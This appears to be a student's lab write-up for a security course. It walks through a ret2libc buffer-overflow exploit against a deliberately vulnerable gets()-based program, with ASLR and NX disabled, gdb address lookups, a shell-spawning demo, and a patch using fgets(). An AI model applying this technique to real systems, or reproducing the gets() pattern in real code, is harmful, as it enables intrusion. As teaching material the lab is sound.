Ret2LibC

Code can be found here: https://github.com/c2003-tamu/413
Demonstration video can be found here: https://youtu.be/tFI1U6MST20

Environment Setup

- Ensure python3 is installed
- Clone git repository
- Navigate to 413/ret2libc directory
- Run command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- Follow instructions found here: https://davidhamann.de/2020/09/09/disable-nx-on-linux/ to disable nx for 32 bit binaries

Payload preparation

- Locate system() on your machine
    - Navigate to 413/ret2libc
    - Run command: gdb ./bad
    - Inside gdb:
        - Run command: b main
        - Run command: r
        - Run command: p system
        - Write down address found
- Find start of buffer on your machine
    - Navigate to 413/ret2libc
    - Run command: ./bad
    - Enter arbitrary input
    - Write down address of buffer
- Input found values to payload
    - Edit file 413/ret2libc/payloads/ret2libc.py
        - Replace system_addr with little-endian system address
        - Replace bin_addr with little-endian address of start of buffer plus 38_16
            - Ex: buffer start address: 0xffffcf60, you would put 0xffffcf98 in little endian here

Exploit

- Run command: ./demo.sh
- Press enter
- If setup correct, you will have a shell (with no $ prompt) as seen below:

```
vboxuser@meow:~/Desktop/413/ret2libc$ ./demo.sh
vulnerable, press enter for shell:

enter your input: Address of buffer: 0xffffcf60
you entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA♦♦♦♦♦♦♦♦♦♦♦♦/bin/sh
whoami
vboxuser
```

NOTE: The address of the buffer was simply added to ease the burden of the grader so that they do not have to step through gdb to get the values like I had to. It was not necessary in the development of the exploit.

Explanation

Essentially, we are overwriting the buffer seen here with more than it can handle:

```
void vulnerable_function(){
        char input[32];
        printf("enter your input: ");
        gets(input);
        printf("Address of buffer: %p\n", (void*)input);
        printf("you entered: %s\n", input);
}
```

We are overwriting this function's return address to the address of system(), which takes the next value in memory (in our case, 4 junk bytes that will cause a segfault) as where it will return to. After this, the program takes the next value in memory as its argument for the command that we would like to execute. In our case, we simply pinned "/bin/sh" in hex code at the end of the payload and added a pointer to this value right after the 4 junk bytes, making the vulnerable program run system("/bin/sh") and return to 0x41414141.

Code Patch

To fix this vulnerability, I simply used fgets(), which is a function that does the same thing as gets(), but only reads the amount of bytes that it is told to:

```
void not_vulnerable_function(){
        char input[32];
        printf("enter your input: ");
        fgets(input, sizeof(input), stdin);
        printf("you entered: %s\n", input);
}
```

This fixes the issue by not allowing for a buffer overflow, thus making the return address of the function impossible to overwrite, as can be seen below:

```
safe, same payload, press enter to exit:
enter your input: you entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
exit
```